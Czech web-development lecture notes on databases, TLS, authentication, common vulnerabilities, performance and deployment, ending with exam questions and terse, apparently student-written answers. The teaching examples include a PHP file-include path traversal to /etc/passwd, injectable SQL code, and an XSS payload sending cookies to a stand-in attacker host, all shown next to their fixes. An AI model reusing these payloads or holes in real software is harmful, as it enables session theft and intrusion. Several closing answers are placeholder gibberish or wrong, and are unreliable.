- dotazy je potřeba „dělat ručně“, protože NoSQL nepodporuje dotazovací jazyk, spojení tabulek, …
- díky jednoduchosti oproti SQL-databázím teoreticky umožňuje lepší škálovatelnost
- kromě samostatných produktů tento přístup často používají cloudová úložiště (Amazon S3, Google Storage, …)

XML DATABÁZE

- relační datový model je umělý, datový model XML je v mnoha případech mnohem bližší modelované realitě
- do databáze se ukládají jednotlivé XML dokumenty – např. stránky v CMS, faktury, objednávky, …
- k dispozici jsou speciální dotazovací jazyky pro XML – XQuery, XPath, …
- hodí se pro aplikace, které pracují se silně strukturovanými daty, pro které se nehodí relační datový model

OBJEKTOVÉ DATABÁZE

- databáze rovnou ukládá objekty, se kterými pracuje aplikace
- technologie se nikdy příliš nerozšířila

RDF DATABÁZE

- sémantický web – databáze ukládá přímo logické výroky
- existují speciální dotazovací jazyky – SPARQL
- pro produkční nasazení „v internetovém měřítku“ zatím spíše nevyspělá technologie

PROBLÉMY

ZVYŠOVÁNÍ VÝKONU WEBOVÝCH DATABÁZOVÝCH APLIKACÍ

- perzistentní spojení (connection pooling)
- pozor, může dojít k překročení limitu spojení do databáze
- použití databází optimalizovaných na čtení – portály

- vyrovnávací paměť (cache) – v případě potřeby předgenerovat co se dá do souborů nebo sdílené paměti
- v žádném případě nepoužívat MS Access a podobné „rádoby“ databáze

ŘEŠENÍ SIMULTÁNNÍHO PŘÍSTUPU K DATŮM

- nelze použít klasické zamykání záznamů, protože prohlížeč (klient) se po každém požadavku odpojí
- problém se řeší jinak
    - vítězí, kdo přišel první
        - zamknutí záznamu s identifikací uživatele a časovým limitem
        - vhodné pro systémy, kde je možnost kolize vysoká
    - vítězí, kdo první provede změnu
        - kontrola změny dat před jejich konečnou modifikací
        - jednodušší na implementaci
        - vhodné pouze pro případy, kdy je pravděpodobnost kolizí malá

BEZPEČNOST WEBOVÝCH APLIKACÍ

ŠIFROVÁNÍ PŘENÁŠENÝCH DAT

PROČ ŠIFROVAT

- některá data jsou skutečně citlivá
    - on-line bankovnictví
    - komunikace mezi obchodními partnery
    - vzdálený přístup do podnikového IS
- kvůli ochraně soukromí a některým typům bezpečnostních útoků je dnes trend šifrovat veškerou komunikaci
- šifrování zároveň znemožňuje modifikaci obsahu stránky během jejího přenosu

JAK SE DNES ŠIFRUJE

- hybridní systémy – kombinace asymetrických a symetrických šifer
- pro zabezpečení přenosu se používá SSL (Secure Sockets Layer) nebo novější TLS (Trasport Layer Security) – protokoly umožňující zašifrovat cokoliv na bázi protokolu TCP
- prohlížeč si o zabezpečené připojení řekne pomocí speciálního URL ve tvaru

```
1. https://...
```

- server se s klientem dohodne na kvalitě šifrování (možnost snížení kvality šifrování počítačem mezi klientem a serverem)
- protokol HTTP/2 používá v současných prohlížečích šifrování vždy

HTTPS OD PRVNÍHO POŽADAVKU

- u webů vyžadujících zabezpečení nesmí být web přístupný přes HTTP (bez šifrování)
- automatické přesměrování na šifrovanou verzi
- novější prohlížeče podporují HSTS (HTTP Strict Transport Security)
    - server prohlížeči pomocí hlavičky HTTP sdělí, že je povolený přístup pouze přes HTTPS
    - veškeré odkazy vedoucí na http:// se automaticky změní na https://
    - při chybném certifikátu není web přístupný
    - prohlížeče mají zabudovanou databázi domén, pro které se má použít HSTS (odpadá nutnost prvního, potenciálně nebezpečného požadavku)

CERTIFIKÁTY A CA

- server posílá klientovi certifikát
- certifikát – spojuje dohromady počítač s reálně existující osobou (fyzickou či právnickou)
- certifikát slouží pro ověření totožnosti serveru
- certifikát může mít i klient, ale na webu se to zatím moc nepoužívá
- certifikát vydává certifikační autorita (CA) – ta by měla ověřit skutečnou identitu žadatele o certifikát
- prohlížeč automaticky věří certifikátům od CA, které zná (umí ověřit podpis na certifikátu)
- ostatní certifikáty je potřeba ručně doinstalovat nebo doinstalovat CA, která je vystavila

AUTENTIZACE A AUTORIZACE UŽIVATELŮ

ZÁKLADNÍ POJMY

autentizace

- ověření totožnosti

autorizace

- ověření práv pro vykonání určité činnosti

HTTP AUTENTIZACE

- standardní součást protokolu HTTP
- nelze změnit podobu přihlašovacího okna
- obtížně se řeší odhlášení a automatické odhlášení po určité době
- bývá implementována na úrovni webového serveru
- hesla jsou přenášena v nekódované podobě
    - lze použít i bezpečnější metodu Digest, kdy se posílají již jen hashe

VLASTNÍ AUTENTIZACE

- využívá HTML formuláře a session proměnné
- mnohem větší flexibilita oproti HTTP – vlastní přihlašovací stránka, hesla uložená na libovolném místě
- v session proměnné se uchovávají informace o přihlášeném uživateli a o době jeho posledního přístupu
- odhlášení – stačí zrušit session proměnnou
- automatické odhlášení – při každém požadavku se porovnává aktuální čas s časem posledního přístupu (ten je uložen v session proměnné)
- pokud klient podporuje JavaScript, lze použít challenge-response mechanismus (heslo není přenášeno v odkrytém tvaru)

KLIENTSKÉ CERTIFIKÁTY

- využívá mechanismus SSL/TLS, ale certifikátem se neprokazuje jen server, ale i uživatel
- uživatelsky méně přívětivé – uživatel musí mít na počítači k dispozici svůj certifikát
- často je nutný speciální HW jako čtečka čipových karet
- využívá se v aplikacích, které potřebují vzbudit zdání větší bezpečnosti, např. internetové bankovnictví

WEB AUTHENTICATION

- nový standard pro autentizaci na webu
- definuje API, pomocí kterého lze generovat páry privátní/veřejný klíč pro každou aplikaci
- přihlašování pak probíhá automaticky podepsáním dat privátním klíčem bez nutnosti zadávat heslo
- privátní klíče se ukládají na HW token nebo se vše integruje s funkcemi OS – např. FaceID, čtečka otisku prstu, …

FEDERALIZOVANÉ AUTENTIZAČNÍ SLUŽBY

- decentralizovaný mechanismus pro jednotné přihlašování k aplikacím (SSO = single sign on)
- uživatel používá jednotný identifikátor v mnoha aplikacích
- autentizaci neprovádějí jednotlivé aplikace, ale poskytovatel identity
- příklady služeb/protokolů: SAML, OpenID, OpenID Connect

OPENID

- decentralizovaný mechanismus pro jednotné přihlašování k webovým aplikacím (SSO = single sign on)
- uživatel používá jednotný OpenID identifikátor v mnoha aplikacích
- autentizaci neprovádějí jednotlivé aplikace, ale poskytovatel identity
    - v ČR např. mojeID
- poskytovatel identity může aplikaci se souhlasem uživatele předat vybrané osobní údaje (např. email, adresa, …) – pohodlné pro uživatele

OAUTH 2.0

- mechanismus pro autorizaci aplikací, které mohou využívat prostředky na serveru (API) jménem uživatele
- používá například Facebook, Twitter, Google, GitHub, …

OPENID CONNECT

- standardizovaný profil OAuth 2.0
- nabízí podporu autentizace jako vrstvu nad OAuth 2.0
- postupně začíná podporovat většina velkých firem

UKLÁDÁNÍ HESEL

- aplikace by v žádném případě neměla ukládat hesla v odkryté podobě
- ukládání otisku (hashe) hesla nestačí, kvůli předgenerovaným slovníkům otisků
- doporučené je ukládat otisk hesla a „soli“
- pro výpočet otisku je lepší používat pomalé hasovací funkce pro ztížení útoku hrubou silou
- na straně uživatele je vhodné využívat správce hesel, který zajistí silná a různá hesla

NEJČASTĚJŠÍ BEZPEČNOSTNÍ SLABINY APLIKACÍ

NEKONTROLOVÁNÍ VSTUPU OD UŽIVATELE

- veškerá data získaná od uživatele by měla být před použitím ověřena
- musíme počítat s tím, že uživatel omylem udělá chybu nebo se někdo záměrně snaží nabourat do aplikace
- data je potřeba vždy validovat na straně serveru, protože kód běžící na klientovi může uživatel/útočník měnit (např. AJAXové aplikace)
- data pocházející od uživatele (může je měnit)
    - obsah formulářových polí
    - URL adresa požadavku
    - cookies
    - HTTP hlavičky
    - požadavky AJAX

Příklad 1. Získání libovolného souboru ze serveru

Předpokládejme, že máme skript, který generuje webové stránky. Obsah stránky získá ze zvoleného souboru a k němu doplní standardní hlavičku a patičku. Jednotlivé stránky se tak volají pomocí adresy http://example.org/index.php?page=uvodni.inc.

```
1. ... standardní hlavička v HTML ...
2. <?php
3.   include $_GET["page"];
4. ?>
5. ... standardní patička ...
```

Co se stane, když zlý uživatel zadá URL ve tvaru http://example.org/index.php?page=/etc/passwd?

Příklad 2. Správné řešení s kontrolou dovolených vstupů

```
1. ... standardní hlavička v HTML ...
2. <?php
3.   if (in_array($_GET["page"], array("uvod.inc", "cenik.inc",
   "kontakt.inc"))
4.   {
5.     include $_GET["page"];
6.   }
7.   else
8.   {
9.     echo "Požadovaná stránka neexistuje. Pokračujte na
10.            <a href='index.php?page=uvod.inc'>úvodní stránce</a>.";
11.    }
12.  ?>
13.  ... standardní patička ...
```

ZPŮSOB KONTROLY

- whitelisting
  - explicitně vyjmenujeme co je dovoleno
  - výrazně snižuje možnost útoku
  - nelze použít vždy
- blacklisting
  - kontrolujeme, co není dovoleno
  - vždy existuje možnost, že na něco zapomeneme
  - kontrolní kód je potřeba neustále udržovat s tím, jak se objevují nové typy útoků

REAKCE NA NEPOVOLENÝ VSTUP

- musíme logovat pro další případnou analýzu, pokud by útok byl úspěný
- uživateli vrátíme obecnou stránku oznamující chybu
- chybová stránka by neměla obsahovat příliš detailů
- do chybové stránky nevypisujeme data z požadavku – další potencionální díra

SQL INJECTION

- skripty často konstruují SQL dotaz dynamicky na základě vstupů
- vstupy se musí pečlivě kontrolovat, aby chybný vstup neumožnil spuštění libovolného SQL příkazu
    - „whitelisting“ povolených znaků
    - prepared statements (prepare šablona + dosazení parametrů při execute)
    - escapovací funkce (mysql_real_escape_string(), PDO::quote())

Příklad 3. Chybný skript umožňující SQL injection

Formulář obsahuje vstupní pole jmeno pro zadání hledaného jména

```
1. <?php
2. ...
3. $jmeno = $_GET["jmeno"];
4. $spojeni = ODBC_Connect("test", "user", "password");
5. $vysledek = ODBC_Exec($spojeni,
6.              "SELECT * FROM Zamestnanci
7.               WHERE Jmeno LIKE '$jmeno%'
8.               ORDER BY Jmeno");
9. ...
10.  ?>
```

Příklad 4. Správné řešení s kontrolou vstupu

Před předáním dat dotazu se testuje, zda řetězec obsahuje jen povolené znaky

```
1. <?php
2. ...
3. $jmeno = $_GET["jmeno"];
4. if (!ERegI("^[a-z]+$" , $jmeno))
5. {
6.   echo "Hledaný text může obsahovat jen písmena.";
7.   exit;
8. }
9. $spojeni = ODBC_Connect("test", "user", "password");
10.  $vysledek = ODBC_Exec($spojeni,
11.              "SELECT * FROM Zamestnanci
12.               WHERE Jmeno LIKE '$jmeno%'
13.               ORDER BY Jmeno");
14.  ...
15.  ?>
```

Příklad 5. Správné řešení s prepared statements

Samo databázové API se postará o to, aby předaný parametr nemohl změnit syntaxi příkazu SQL

```
1. <?php
2. ...
3. $jmeno = $_GET["jmeno"] . '%';
4. $dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
5. $stmt = $dbh->prepare("SELECT * FROM Zamestnanci
6.              WHERE Jmeno LIKE :jmeno
7.              ORDER BY Jmeno");
8. $stmt->bindParam(':jmeno', $jmeno);
9. $stmt->execute();
```

```
10.  ...
11.  ?>
```

XSS

CROSS-SITE SCRIPTING

- veškerý uživatelsky generovaný vstup musí být před vložením do stránky správně escapován (diskusní fóra, zobrazení údajů z formuláře, …)
- v opačném případě může útočník do stránky vložit Javascript, který se spustí všem a může odesílat citlivé údaje jako session id
- escapovací funkce v PHP: strip_tags(), htmlspecialchars()
- nepoužívat chytrá řešení, často si neporadí se záludnými situacemi

```
1. <src<script>ipt>…
```

OCHRANA SESSION

- jediná 100% spolehlivá ochrana je SSL a vypnuté posílání HTTP hlavičky Referer
- útok spočívá ve špatné kontrole vstupu a v cross-site skriptování

Příklad 6. Získání session-id přenášeného v URL

1. na serveru, kde je uživatel přihlášen, je diskusní fórum
2. útočník do diskusního fóra přidá příspěvek s odkazem vedoucím na jeho server (odkaz musí být zajímavý, aby zaujal)
3. skript na útočníkově serveru z HTTP hlavičky Referer získá kompletní URL předchozí stránky včetně session-id
4. pomocí získaného session-id se útočník může přihlásit na server pod jménem uživatele a číst jeho data, změnit heslo, …
5. snížení rizika:
   - všechny odkazy ve vložených příspěvcích přesměrovávat přes pomocnou stránku, která již v URL nemá session-id
   - blokovat odesílání hlavičky Referer pomocí Referrer-Policy: no-referrer (zatím nepodporují všechny prohlížeče)
   - dodatečná kontrola session-id (kontrola shody IP adresy, session-id se mění pro každou stránku)

Příklad 7. Ochrana session-id přenášeného v cookie

1. na serveru, kde je uživatel přihlášen je diskusní fórum
2. útočník do diskusního fóra přidá příspěvek s kusem JS kódu, který čte cookie

```
1. <script>document.write('<img
   src="http://utocnik.cz/steal?'+document.cookie+'">')</script>
```

2. útočníkův skript získá obsah cookie a může ji zneužít
3. ochrana:
   - jako v předchozím případě
   - session-id přenášet pomocí „HttpOnly“ cookie (nejde číst pomocí JS)
   - důsledná kontrola vstupních dat, nedovolit zadání HTML a JS kódu do příspěvku

CONTENT SECURITY POLICY

- podstatou mnoha XSS útoků je načtení skriptu či jiných zdrojů z webu útočníka
- pomocí HTTP hlavičky může aplikace zakázat prohlížeči některé operace, které jsou často zneužívány k XSS útokům
- např. povolení pouze vlastních skriptů a skriptů načítaných z dané domény

```
1. Content-Security-Policy: script-src 'self' https://apis.google.com
```

- při použití CSP jsou automaticky blokovány inline skripty, atributy pro obsluhu událostí, element style, …

SAME ORIGIN POLICY

- pro zvýšení bezpečnosti prohlížeče v praxi uplatňují tzv. Same Origin Policy
- např. AJAXový požadavek může skript odeslat jen na server se stejným „origin“
- origin – protokol, doména, port
- v případě potřeby lze omezení změnit pomocí hlaviček CORS

CSRF

CROSS-SITE REQUEST FORGERY

- útočník vyvolá falešné HTTP požadavky a pokud je v tu chvíli uživatel přihlášen (např. přes session), operace se provede
- stav měnící operace by neměly být dostupné pomocí metody GET

DALŠÍ PROBLÉMY

- špatná konfigurace serveru a jeho operačního systému
- špatná správa a ukládání hesel aplikace
- nekontrolování přístupu k operacím a objektům zadaným přímo do URL po prvotní autentizaci a autorizaci
- vystavení citlivých dat na „tajné URL adrese“
- neaktualizovaní rozšířených komponent (redakční systémy, diskusní fóra, …)

KDY A KDE PROVÁDĚT KONTROLU

- nesmíme věřit nikomu, ani vlastní databázi (útok, zadání dat z jiné aplikace, …)
- je proto potřeba ošetřovat veškeré vstupy
- a escapovat veškeré výstupy

DESET NEJČASTĚJŠÍCH BEZPEČNOSTNÍCH SLABIN

OWASP Top 10 - 2017
A1:2017-Injection
A2:2017-Broken Authentication
A3:2017-Sensitive Data Exposure
A4:2017-XML External Entities (XXE) [NEW]
A5:2017-Broken Access Control [Merged]
A6:2017-Security Misconfiguration
A7:2017-Cross-Site Scripting (XSS)
A8:2017-Insecure Deserialization [NEW, Community]
A9:2017-Using Components with Known Vulnerabilities
A10:2017-Insufficient Logging&Monitoring [NEW,Comm.]

VÝKON WEBOVÝCH APLIKACÍ

ÚVOD

- stránky, které se pomalují načítají, a aplikace, která má pomalou odezvu, odradí uživatele
- reakce na akci uživatele do 1 sekundy – přijatelné
- reakce na akci uživatele trvá déle než sekundu – uživatel začne myslet na něco jiného
- reakce na akci uživatele trvá více než 10 sekund – uživatel obvykle odchází
- rychlost načítání a reakce aplikace záleží na mnoha faktorech
    - rychlost a latence internetového připojení
    - rychlost zpracování požadavku pomocí serveru
    - rychlost vykreslení stránky
    - počet a celkový objem požadavků nutných pro obsloužení akce uživatele

ZRYCHLENÍ PŘENOSU

ZMENŠENÍ OBJEMU PŘENÁŠENÝCH DAT

- nepřenášíme to, co není potřeba (např. lazy-loading obrázků do karuselu)
- minifikace HTML/CSS/JS kódu
- komprimace přenášených dat (GZIP)
- obrázky SVG ukládat jako komprimované (.svgz)
- optimalizace obrázků
    - vhodný formát (bitmapa/vektor)
    - jednoduché obrázky lze někdy nahradit CSS efekty

SNÍŽENÍ POČTU POŽADAVKŮ

- kompilace několika CSS a JS souborů do jednoho
- nenačítání zbytečností ze serverů třetích stran
- obrázkové sprity (více obrázků v jednom, správné zobrazení zajistí ořez pomocí CSS)
- menší obrázky lze vložit přímo do HTML stránky pomocí data: URL schématu

DALŠÍ MOŽNOSTI

- načítání objektů z více domén najednou (prohlížeče respektují maximální počet paralelních požadavků na jednu doménu)
- ukládání „statických“ částí webu do vyrovnávací paměti prohlížeče
- prefetch – nápověda pro prohlížeč, na co se má připravit

```
1. <link rel="prefetch" href="http://www.example.com/">
2. <link rel="dns-prefetch" href="http://example.com/">
3. <link rel="prerender" href="/page/to/prerender">
```

- minimalizace přenášených hlaviček HTTP (velikost cookies, zbytečné hlavičky, …)

HTTP/2

- nová verze protokolu HTTP odstraňující zejména výkonnostní problémy předchozích verzí
- protokol je binární, ne textový
- multiplexing – po jednom TCP spojení se paralelně a asynchronně přenáší více objektů
- server push – server může poslat do prohlížeče data dříve, než si je prohlížeč vyžádá
- komprimace hlaviček

- většina „optimalizačních technik“ pro HTTP/1.x nedává při použití HTTP/2 smysl

VYKRESLENÍ A ODEZVA STRÁNKY

ZÁKLADNÍ PRAVIDLA

- snaha o co nejjednodušší HTML/CSS/JS kód
- odkazy na styly CSS by měly být na začátku stránky – pro další vykreslování je potřeba mít k dispozici DOM a CSSOM
- dokud se nestáhne CSS, nemůže se začít s vykreslováním stránky
- JavaScript načítat až na konci stránky
- používat <script src="…" async>, které dovolí asynchronní načtení skriptu (neblokuje vytváření DOM)
- nepoužívat inline <script>, protože blokuje vytváření DOM

JAVASCRIPT EVENT LOOP

- události, které musí prohlížeč obsloužit, se přidávají do fronty
- během obsluhy jedné události se nedělá nic jiného
- pokud je obsluha dlouhá, zablokuje to zbytek aplikace, UI nereaguje, …
- většina JS API je proto asynchronních, aby k blokování docházelo co nejméně
- dlouhé výpočty je tak potřeba provádět buď pomocí WebWorkers nebo rozdělit na menší úlohy a volat postupně pomocí setTimeout()/setInterval()/requestAnimationFrame()

ZPRACOVÁNÍ POŽADAVKU NA SERVERU

ÚZKÉ HRDLO

- vždy je potřeba nejprve zjistit, co přesně vyřízení požadavku zdržuje
- v mnoha případech je největší zpoždění způsobeno čekáním na výsledky dotazu do databáze
    - zvážit výběr databázové technologie
    - správná konfigurace databáze (vyhledávací indexy, …)
    - minimalizace dotazů do databáze
    - ukládání výsledků do vyrovnávací paměti

Příklad 1. Využití vyrovnávací paměti phpFastCache

```
1. <?php
2. // Načtení knihovny
3. use phpFastCache\CacheManager;
4. require_once("src/phpFastCache/phpFastCache.php");
5. $cache = CacheManager::Files();
6.
7. // pokus o načtení stránky o produktu z vyrovnávací paměti
8. $products = $cache->get("product_page");
9.
10.  if(is_null($products)) {
11.      // pokud stránka ve vyrovnávací paměti není nebo je stará,
   načteme ji z databáze
12.      $products = … načtení hodnot z databáze (pomalé) …;
13.      // uložení stránky do vyrovnávací paměti
14.      $cache->set("product_page",$products , 600);
15.  }
16.
17.  // vrácení stránky, ve většině případů z vyrovnávací paměti
18.  echo $products;
```

NASAZENÍ WEBOVÝCH APLIKACÍ

CO POTŘEBUJEME PRO ZVEŘEJNĚNÍ APLIKACE

- doména
- hosting

REGISTRACE DOMÉNY

- volba správné TLD
- různé ceny pro různé TLD
- pozor na doménové spekulace a parazitování
    - někdy je nutná registrace několika různých TLD
    - registrace vizuálně podobných domén (IDN, phishing útoky)

HOSTING

- prostor, kde běží webový server a další komponenty nutné pro běh aplikace (např. databáze)
- sdílený hosting
    - na jednom počítači je hostováno mnoho domén
    - chyba/zátěž jedné aplikace může negativně ovlivnit ostatní
- VPS (virtual private server)
    - aplikace má k dispozici vlastní virtuální server s danými parametry
    - aplikace je izolována od ostatních
- dedikovaný server
    - aplikace má k dispozici vlastní fyzický server
    - vhodné, pokud výkonově VPS nestačí
- cloud hosting
    - řešení, kdy je nad VPS další vrstva, která dle potřeb a zátěže dovolí vytvářet další VPS nebo upravovat parametry jednotlivých VPS

CDN

- CDN = Content Delivery Network
- síť serverů rozmístěna po celém světě
- statické zdroje jsou odesílany z nejbližšího serveru pro rychlejší načtení stránky
- mnoho CDN nabízí i další služby jako např. ochranu proti různým typům útoků

NASAZENÍ A AKTUALIZACE APLIKACÍ

- v jednoduchých případech stačí novou verzi kódu jen překopírovat na server pomocí SFTP/SCP/WebDAV/…
- ideální je i pro webové aplikace použít osvědčené metody CI/CD
- při aktualizaci kódu je potřeba ošetřit, aby změny v databázi, serverovém kódu, klientském kódu, verzích REST API, … byly synchronizované

Jaké HTTP metody můžeme používat přímo v HTML?

- Post a get

Co jsou cookies a k čemu se dají využít?

- Webový server/Aplikace si ukládá informace ve webovým prohlížeči automaticky jsou zpět Cookies jsou informace, které si zapisuje uživatel od stránky
- Strojové informace a využití pro Session ID
- Využití pro login

Co je to hashovací (digest) funkce, a k čemu se ve webových

aplikacích používá?

- Zpětná funkce když se shodí našli jsme data
- Při stahování, aby se někdo nenaboural do kódu

Aplikace přijímá textové pole z formuláře a jeho hodnotu

ukládá do databáze a následně zobrazuje na stránce. Na co je

potřeba při těchto operacích dát pozor?

- SQL injection
    - V php je funkce na ošetření
    - Použít prepare (espace) elementy
- cross-site scripting
    - Vyescape nebezpečné znaky

Jakým způsobem je možné v bezstavém prostředí webu

bezpečně zajistit simultánní editaci dat více uživateli?

- Fsad

Co je to SQL? Rozeberte zkratku na jednotlivá slova a

vysvětlete její význam.

- Komonikační a
- Jazyk pro práci s databází

Co je to CDN a k čemu se používá?

- Fsaf
- Content deliveri netvow

K čemu slouží rozhraní CGI? Popište způsob jeho fungování.

- CGI rozhraní dovolovala, aby se spustil program
- Slouží pro komunikaci mezi webovou serverem a aplikací a program/scriptem
- Program vygeneruje na standardním výstupu a čte na standardním vstupu